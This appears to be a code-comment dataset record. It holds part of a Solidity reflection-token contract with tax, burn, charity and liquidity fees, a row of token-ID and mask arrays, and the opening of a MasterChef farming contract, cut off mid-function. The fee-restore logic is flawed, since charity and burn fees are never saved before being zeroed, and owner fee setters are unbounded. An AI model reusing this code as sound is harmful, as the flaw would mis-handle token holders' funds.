function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// You find the interface on the contract page on BSCScan unter the tab "write contract" or "read contract"
// Dont forget to choose the the correct contract in the compiler (here Greyhound.sol),
// otherwise no ABI will be created and no interaction is possible.
// To recieve ETH from uniswapV2Router when swapping
receive() external payable {}
// Calculates the current rate between the total supply and the deflated "internal supply"
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
// Returns the current supply in the correct dimension, depending on address is excluded from fees or not
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateCharityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_charityFee).div(
10**2
);
}
function calculateBurn(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnAmount).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
// Set the fees to 0 while transfert function is called by an fee excluded address. Used in function _tokenTransfer()
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _charityFee == 0 && _burnAmount == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
_charityFee = 0;
_burnAmount = 0;
}
// As soon as the transaction from an excluded wallet is finished, the fees are reset to the set value
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_charityFee = _previousCharityFee;
_burnAmount = _previousBurnAmount;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
// Needed to revieve token, since the token can't monitor if an anddress send token (Used for PancakeSwap)
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
// Indicates if fee should be deducted from transfer
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
// Transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// Split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// Capture the contract's current ETH balance.
// This is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// Swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// How much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// Add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// Generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// Make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// Approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// Add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
// This method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
// _getValues/_getValues1 used to transfort variables into _transferBothExcluded, _transferStandard, ... functions
// _getTValues/getTValues1 used to derive "t" Values for calculating "r" Values
// _getRValues/getRValues1 used to derive "r" Values for calculating effective tTransferAmount value
// this jungle of value transportations looks more difficult than it is
//
// We need "t" Values and we need "r" values to stay every time in the correct ratio between total supply and "deflated/interal supply".
// The return of the getValue functions are used to transport into other functions like Transfer().
// They are needed to handle the transfer between taxed and untaxt addresses in the two supply dimensions (r/tSupply).
// In this contract several functions from here are splitted (getTValues/1), because the maximum local variables
// within functions is limited in solidity.
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tFee, uint256 tLiquidity, uint256 tCharity, uint256 tBurn) = _getTValues1(tAmount);
uint256 tTransferAmount = _getTValues2(tAmount, tFee, tLiquidity, tCharity);
return (tTransferAmount, tFee, tLiquidity, tBurn, tCharity);
}
function _getValues1(uint256 tAmount) private view returns (uint256, uint256, uint256) {
// Example: we use the above _getValues1(uint256 tAmount) to transport the values into here
(uint256 tFee, uint256 tLiquidity, uint256 tCharity,) = _getTValues1(tAmount);
(uint256 rAmount, uint256 rFee) = _getRValues1(tAmount, tFee, _getRate());
// Now all "r" Values are available to calculate "rTransferAmount" - the token which you
// ultimately get or send after all fees (90%).
// The burn is not a Transfer() function, so don't look for it here, you won't find it.
// You find the burn in the _reflectFee() function.
uint256 rTransferAmount = _getRValues2(rAmount, rFee, tLiquidity, tCharity, _getRate());
return (rAmount, rTransferAmount, rFee);
}
function _getTValues1(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tBurn = calculateBurn(tAmount);
uint256 tCharity = calculateCharityFee(tAmount);
return (tFee, tLiquidity, tCharity, tBurn);
}
function _getTValues2(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) private pure returns (uint256) { // uint256 tBurn
return tAmount.sub(tFee).sub(tLiquidity).sub(tCharity); //letztes XX
}
function _getRValues1(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
return (rAmount, rFee);
}
function _getRValues2(uint256 rAmount, uint256 rFee, uint256 tLiquidity, uint256 tCharity, uint256 currentRate) private pure returns (uint256) {
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rCharity);
return rTransferAmount;
}
// The Transfer function to send 3% of the transfered amount to the charity wallet.
// If address is excluded, it is called while removeAllFee() is active.
function _sendToCharity(uint256 tCharity, address sender) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[_CharityWallet] = _rOwned[_CharityWallet].add(rCharity);
_tOwned[_CharityWallet] = _tOwned[_CharityWallet].add(tCharity);
emit Transfer(sender, _CharityWallet, tCharity);
}
function _reflectFee(uint256 rBurn, uint256 tFee, uint256 tCharity, uint256 tBurn) private {
// This is where the deflation takes place.
// 10% are subtracted from rTotal, since it takes place in the deflationary dimension.
// If we were to subtract from tTotal, as many tokens do, it is unstoppable that tTotal and rTotal will
// have an unprocessable ratio (deflation ratio is no longer true) and the token will be "empty" one day,
// which would lead to a fatal error. No transaction can be carried out anymore.
// .. cant wait to see those tokens crashing.
_rTotal = _rTotal.sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tCharityTotal = _tCharityTotal.add(tCharity);
_tBurnTotal = _tBurnTotal.add(tBurn);
_rOwned[_BurnWallet] = _rOwned[_BurnWallet].add(rBurn);
}
// Transfer functions to handle fee excluded and included adresses.
// Look closely to the "r" and "t" values in the different transfer functions.
// They are also splitted, because of value limitations ins solidity.
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount,) = _getValues1(tAmount);
(uint256 tTransferAmount, uint256 tFee,, uint256 tBurn, uint256 tCharity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_transferBothExcludedCal(sender, recipient, tAmount, rAmount, tTransferAmount, rTransferAmount);
_reflectFee(rBurn, tFee, tCharity, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcludedCal(address sender, address recipient, uint256 tAmount, uint256 rAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount,) = _getValues1(tAmount);
(uint256 tTransferAmount, uint256 tFee,, uint256 tBurn, uint256 tCharity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_transferStandardCal(sender, recipient, rAmount, rTransferAmount);
_sendToCharity(tCharity, sender);
_reflectFee(rBurn, tFee, tCharity, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandardCal(address sender, address recipient, uint256 rAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount,) = _getValues1(tAmount);
(uint256 tTransferAmount, uint256 tFee,, uint256 tBurn, uint256 tCharity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_transferToExlcudedCal(sender, recipient, rAmount, tTransferAmount, rTransferAmount);
_sendToCharity(tCharity, sender);
_reflectFee(rBurn, tFee, tCharity, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExlcudedCal(address sender, address recipient, uint256 rAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount,) = _getValues1(tAmount);
(uint256 tTransferAmount, uint256 tFee,, uint256 tBurn, uint256 tCharity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_transferFromExlcudedCal(sender, recipient, tAmount, rAmount, rTransferAmount);
_reflectFee(rBurn, tFee, tCharity, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExlcudedCal(address sender, address recipient, uint256 tAmount, uint256 rAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
}
| Example: we use the above _getValues1(uint256 tAmount) to transport the values into here Now all "r" Values are available to calculate "rTransferAmount" - the token which you ultimately get or send after all fees (90%). The burn is not a Transfer() function, so don't look for it here, you won't find it. You find the burn in the _reflectFee() function. | function _getValues1(uint256 tAmount) private view returns (uint256, uint256, uint256) {
(uint256 tFee, uint256 tLiquidity, uint256 tCharity,) = _getTValues1(tAmount);
(uint256 rAmount, uint256 rFee) = _getRValues1(tAmount, tFee, _getRate());
uint256 rTransferAmount = _getRValues2(rAmount, rFee, tLiquidity, tCharity, _getRate());
return (rAmount, rTransferAmount, rFee);
}
| 1,086,671 | [
1,
10908,
30,
732,
999,
326,
5721,
389,
588,
1972,
21,
12,
11890,
5034,
268,
6275,
13,
358,
4736,
326,
924,
1368,
2674,
4494,
777,
315,
86,
6,
6876,
854,
2319,
358,
4604,
315,
86,
5912,
6275,
6,
300,
326,
1147,
1492,
1846,
225,
406,
381,
5173,
336,
578,
1366,
1839,
777,
1656,
281,
261,
9349,
9,
2934,
1021,
18305,
353,
486,
279,
12279,
1435,
445,
16,
1427,
2727,
1404,
2324,
364,
518,
2674,
16,
1846,
8462,
1404,
1104,
518,
18,
4554,
1104,
326,
18305,
316,
326,
389,
1734,
1582,
14667,
1435,
445,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
588,
1972,
21,
12,
11890,
5034,
268,
6275,
13,
3238,
1476,
1135,
261,
11890,
5034,
16,
2254,
5034,
16,
2254,
5034,
13,
288,
203,
3639,
261,
11890,
5034,
268,
14667,
16,
2254,
5034,
268,
48,
18988,
24237,
16,
2254,
5034,
268,
2156,
560,
16,
13,
273,
389,
588,
56,
1972,
21,
12,
88,
6275,
1769,
377,
203,
3639,
261,
11890,
5034,
436,
6275,
16,
2254,
5034,
436,
14667,
13,
273,
389,
588,
54,
1972,
21,
12,
88,
6275,
16,
268,
14667,
16,
389,
588,
4727,
10663,
203,
3639,
2254,
5034,
436,
5912,
6275,
273,
389,
588,
54,
1972,
22,
12,
86,
6275,
16,
436,
14667,
16,
268,
48,
18988,
24237,
16,
268,
2156,
560,
16,
389,
588,
4727,
10663,
203,
3639,
327,
261,
86,
6275,
16,
436,
5912,
6275,
16,
436,
14667,
1769,
540,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./libs/IERC20.sol";
import "./libs/SafeERC20.sol";
import "./libs/IArcadiumReferral.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./MyFriendsToken.sol";
import "./ArcadiumToken.sol";
// MasterChef is the master of Arcadium. He can make Arcadium and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once ARCADIUM is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
IERC20 public immutable usdcRewardCurrency;
// Burn address
address constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
// Founder 1 address
address public constant FOUNDER1_ADDRESS = 0x3a1D1114269d7a786C154FE5278bF5b1e3e20d31;
// Founder 2 address
address public constant FOUNDER2_ADDRESS = 0x30139dfe2D78aFE7fb539e2F2b765d794fe52cB4;
uint256 constant initialFounderMyFriendsStake = 16250 * (10 ** 18);
// Must be after startBlock.
uint256 public immutable founderFinalLockupEndBlock;
uint256 public totalUSDCCollected = 0;
uint256 accDepositUSDCRewardPerShare = 0;
// The MYFRIENDS TOKEN!
MyFriendsToken public myFriends;
// The ARCADIUM TOKEN!
ArcadiumToken public arcadium;
// Arcadium's trusty utility belt.
RHCPToolBox public arcadiumToolBox;
uint256 public arcadiumReleaseGradient;
uint256 public endArcadiumGradientBlock;
uint256 public endGoalArcadiumEmission;
bool public isIncreasingGradient = false;
// MYFRIENDS tokens created per block.
uint256 public constant myFriendsPerBlock = 32 * (10 ** 15);
// The block number when ARCADIUM & MYFRIENDS mining ends.
uint256 public myFriendsEmmissionEndBlock = type(uint256).max;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 arcadiumRewardDebt; // Reward debt. See explanation below.
uint256 myFriendsRewardDebt; // Reward debt. See explanation below.
uint256 usdcRewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of ARCADIUMs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accArcadiumPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accArcadiumPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. ARCADIUMs to distribute per block.
uint256 lastRewardBlock; // Last block number that ARCADIUMs distribution occurs.
uint256 accArcadiumPerShare; // Accumulated ARCADIUMs per share, times 1e24. See below.
uint256 accMyFriendsPerShare; // Accumulated MYFRIENDSs per share, times 1e24. See below.
uint16 depositFeeBP; // Deposit fee in basis points
uint8 tokenType; // 0=Token, 1=LP Token
uint256 totalLocked; // total units locked in the pool
}
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when normal ARCADIUM mining starts.
uint256 public startBlock;
// The last checked balance of ARCADIUM in the burn waller
uint256 public lastArcadiumBurnBalance = 0;
// How much of burn do myFriends stakers get out of 10000
uint256 public myFriendsShareOfBurn = 8197;
// Arcadium referral contract address.
IArcadiumReferral arcadiumReferral;
// Referral commission rate in basis points.
// This is split into 2 halves 3% for the referrer and 3% for the referee.
uint16 public constant referralCommissionRate = 600;
uint256 public gradientEra = 1;
uint256 public immutable gradient2EndBlock;
uint256 public constant gradient2EndEmmissions = 692023838 * (10 ** 9);
uint256 public gradient3EndBlock;
uint256 public constant gradient3EndEmmissions = 1384047676 * (10 ** 9);
uint256 public constant myFriendsPID = 0;
uint256 public constant maxPools = 69;
event AddPool(uint256 indexed pid, uint8 tokenType, uint256 allocPoint, address lpToken, uint256 depositFeeBP);
event SetPool(uint256 indexed pid, uint256 allocPoint, uint256 depositFeeBP);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event GradientUpdated(uint256 newEndGoalArcadiumEmmission, uint256 newEndArcadiumEmmissionBlock);
event SetArcadiumReferral(address arcadiumAddress);
constructor(
MyFriendsToken _myFriends,
ArcadiumToken _arcadium,
RHCPToolBox _arcadiumToolBox,
address _usdcCurrencyAddress,
uint256 _startBlock,
uint256 _founderFinalLockupEndBlock,
uint256 _beginningArcadiumEmission,
uint256 _endArcadiumEmission,
uint256 _gradient1EndBlock,
uint256 _gradient2EndBlock,
uint256 _gradient3EndBlock
) public {
myFriends = _myFriends;
arcadium = _arcadium;
arcadiumToolBox = _arcadiumToolBox;
startBlock = _startBlock;
usdcRewardCurrency = IERC20(_usdcCurrencyAddress);
require(_startBlock < _founderFinalLockupEndBlock, "founder MyFriends lockup block invalid");
founderFinalLockupEndBlock = _founderFinalLockupEndBlock;
require(_startBlock < _gradient1EndBlock + 40, "gradient period 1 invalid");
require(_gradient1EndBlock < _gradient2EndBlock + 40, "gradient period 2 invalid");
require(_gradient2EndBlock < _gradient3EndBlock + 40, "gradient period 3 invalid");
require(_beginningArcadiumEmission > 0.166666 ether && _endArcadiumEmission > 0.166666 ether,
"arcadium emissions too big");
endArcadiumGradientBlock = _gradient1EndBlock;
endGoalArcadiumEmission = _endArcadiumEmission;
gradient2EndBlock = _gradient2EndBlock;
gradient3EndBlock = _gradient3EndBlock;
require(endGoalArcadiumEmission < 101 ether, "cannot allow > than 101 ARCADIUM per block");
arcadiumReleaseGradient = _arcadiumToolBox.calcEmissionGradient(
block.number, _beginningArcadiumEmission, endArcadiumGradientBlock, endGoalArcadiumEmission);
add(0, 100, _myFriends, 0, false);
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
mapping(IERC20 => bool) public poolExistence;
modifier nonDuplicated(IERC20 _lpToken) {
require(poolExistence[_lpToken] == false, "nonDuplicated: duplicated");
_;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint8 _tokenType, uint256 _allocPoint, IERC20 _lpToken, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner nonDuplicated(_lpToken) {
require(poolInfo.length < maxPools, "too many pools!");
// Make sure the provided token is ERC20
_lpToken.balanceOf(address(this));
require(_depositFeeBP <= 401/*, "add: invalid deposit fee basis points"*/);
require(_tokenType == 0 || _tokenType == 1, "invalid token type");
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint + _allocPoint;
poolExistence[_lpToken] = true;
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accArcadiumPerShare: 0,
accMyFriendsPerShare: 0,
depositFeeBP: _depositFeeBP,
tokenType: _tokenType,
totalLocked: 0
}));
emit AddPool(poolInfo.length - 1, _tokenType, _allocPoint, address(_lpToken), _depositFeeBP);
}
// Update the given pool's ARCADIUM allocation point and deposit fee. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, uint16 _depositFeeBP, bool _withUpdate) external onlyOwner {
require(_depositFeeBP <= 401, "bad depositBP");
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = (totalAllocPoint - poolInfo[_pid].allocPoint) + _allocPoint;
poolInfo[_pid].allocPoint = _allocPoint;
poolInfo[_pid].depositFeeBP = _depositFeeBP;
//poolInfo[_pid].tokenType = _tokenType;
//poolInfo[_pid].totalLocked = poolInfo[_pid].totalLocked;
emit SetPool(_pid, _allocPoint, _depositFeeBP);
}
// View function to see pending USDCs on frontend.
function pendingUSDC(address _user) external view returns (uint256) {
UserInfo storage user = userInfo[myFriendsPID][_user];
return ((user.amount * accDepositUSDCRewardPerShare) / (1e24)) - user.usdcRewardDebt;
}
// View function to see pending ARCADIUMs on frontend.
function pendingArcadium(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accArcadiumPerShare = pool.accArcadiumPerShare;
uint256 lpSupply = pool.totalLocked;
if (block.number > pool.lastRewardBlock && lpSupply != 0 && totalAllocPoint != 0) {
uint256 farmingLimitedBlock = block.number <= gradient3EndBlock ? block.number : gradient3EndBlock;
uint256 release = arcadiumToolBox.getArcadiumRelease(isIncreasingGradient, arcadiumReleaseGradient, endArcadiumGradientBlock, endGoalArcadiumEmission, pool.lastRewardBlock, farmingLimitedBlock);
uint256 arcadiumReward = (release * pool.allocPoint) / totalAllocPoint;
accArcadiumPerShare = accArcadiumPerShare + ((arcadiumReward * 1e24) / lpSupply);
}
return ((user.amount * accArcadiumPerShare) / 1e24) - user.arcadiumRewardDebt;
}
// Return reward multiplier over the given _from to _to block.
function getMyFriendsMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
// As we set the multiplier to 0 here after myFriendsEmmissionEndBlock
// deposits aren't blocked after farming ends.
if (_from > myFriendsEmmissionEndBlock)
return 0;
if (_to > myFriendsEmmissionEndBlock)
return myFriendsEmmissionEndBlock - _from;
else
return _to - _from;
}
// View function to see pending MyFriends on frontend.
function pendingMyFriends(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accMyFriendsPerShare = pool.accMyFriendsPerShare;
uint256 lpSupply = pool.totalLocked;
if (block.number > pool.lastRewardBlock && lpSupply != 0 && totalAllocPoint > poolInfo[myFriendsPID].allocPoint) {
uint256 release = getMyFriendsMultiplier(pool.lastRewardBlock, block.number);
uint256 myFriendsReward = (release * myFriendsPerBlock * pool.allocPoint) / (totalAllocPoint - poolInfo[myFriendsPID].allocPoint);
accMyFriendsPerShare = accMyFriendsPerShare + ((myFriendsReward * 1e24) / lpSupply);
}
return ((user.amount * accMyFriendsPerShare) / 1e24) - user.myFriendsRewardDebt;
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
// we only allow maxPools number of pools to be updated
for (uint256 pid = 0; pid < length && pid < maxPools; ++pid) {
updatePool(pid);
}
}
// Transfers any excess coins gained through reflection
// to ARCADIUM and MYFRIENDS
function skimPool(uint256 poolId) internal {
PoolInfo storage pool = poolInfo[poolId];
// cannot skim any tokens we use for staking rewards.
if (isNativeToken(address(pool.lpToken)))
return;
uint256 skim = pool.lpToken.balanceOf(address(this)) > pool.totalLocked ?
pool.lpToken.balanceOf(address(this)) - pool.totalLocked :
0;
if (skim > 1e4) {
uint256 myFriendsShare = skim / 2;
uint256 arcadiumShare = skim - myFriendsShare;
pool.lpToken.safeTransfer(address(myFriends), myFriendsShare);
pool.lpToken.safeTransfer(address(arcadium), arcadiumShare);
}
}
// Updates arcadium release goal and phase change duration
function updateArcadiumRelease(uint256 endBlock, uint256 endArcadiumEmission) internal returns (bool) {
// give some buffer as to stop extrememly large gradients
if (block.number + 4 >= endBlock)
return false;
// this will be called infrequently
// and deployed on a cheap gas network POLYGON (MATIC)
// Founders will also be attempting the gradient update
// at the right time.
massUpdatePools();
uint256 currentArcadiumEmission = arcadiumToolBox.getArcadiumEmissionForBlock(block.number,
isIncreasingGradient, arcadiumReleaseGradient, endArcadiumGradientBlock, endGoalArcadiumEmission);
isIncreasingGradient = endArcadiumEmission > currentArcadiumEmission;
arcadiumReleaseGradient = arcadiumToolBox.calcEmissionGradient(block.number,
currentArcadiumEmission, endBlock, endArcadiumEmission);
endArcadiumGradientBlock = endBlock;
endGoalArcadiumEmission = endArcadiumEmission;
